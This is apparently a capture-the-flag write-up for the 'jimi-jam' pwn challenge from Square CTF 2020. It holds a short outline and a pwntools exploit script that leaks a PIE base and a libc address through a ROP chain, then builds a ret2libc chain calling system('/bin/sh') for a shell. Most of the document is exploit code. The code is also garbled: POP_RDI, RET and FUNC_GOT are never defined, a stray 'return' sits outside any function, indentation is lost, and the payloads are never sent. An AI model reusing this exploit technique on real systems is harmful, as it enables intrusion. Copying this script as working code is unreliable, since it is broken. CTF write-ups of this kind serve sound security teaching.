Tags: pwn ret2libc

Rating: 4.0

1. Calculate pie base using the logged address
2. Leak libc base
3. Ret2libc

py
from pwn import *

local = False

host = 'challenges.2020.squarectf.com'
port = 9000

elf = ELF('./jimi-jam')
rop = ROP(elf)

if local:
p = elf.process()
libc = ELF('/usr/lib/libc.so.6')
else:
p = remote(host, port)
libc = ELF('./libc.so.6')

PUTS_PLT= 0x10b0
MAIN_PLT = elf.symbols['main']

OFFSET = b'A' * (16)

log.info("[email protected]: " + hex(PUTS_PLT))
log.info("[email protected]: " + hex(MAIN_PLT))
log.info("POP RDI: " + hex(POP_RDI))

print(p.recvuntil('here! ').decode())
leak = p.recvline().decode()
print(leak)
leak = int(leak, 16)

print(hex(elf.got['puts']))

# Calculate pie base
base = leak - 0x4060

POP_RDI += base
PUTS_PLT += base
MAIN_PLT += base
RET += base

# Function to leak puts address

print(f"POP_RDI: {hex(POP_RDI)}")
print(f"FUNC_GOT: {hex(FUNC_GOT)}")
print(f"PUTS_PLT: {hex(PUTS_PLT)}")
print(f"MAIN_PLT: {hex(MAIN_PLT)}")
print(f"RET: {hex(RET)}")

rop_chain = [
POP_RDI, FUNC_GOT,
PUTS_PLT,
MAIN_PLT,
]

rop_chain = b''.join([p64(i) for i in rop_chain])

print(p.recvuntil('JAIL\n').decode())

return hex(leak)

BIN_SH = next(libc.search(b'/bin/sh'))
SYSTEM = libc.symbols['system']
EXIT = libc.symbols['exit']

# Final rop chain to pop a shell
ROP_CHAIN = [
RET,
POP_RDI, BIN_SH,
SYSTEM,
EXIT,
]

ROP_CHAIN = b''.join([p64(i) for i in ROP_CHAIN])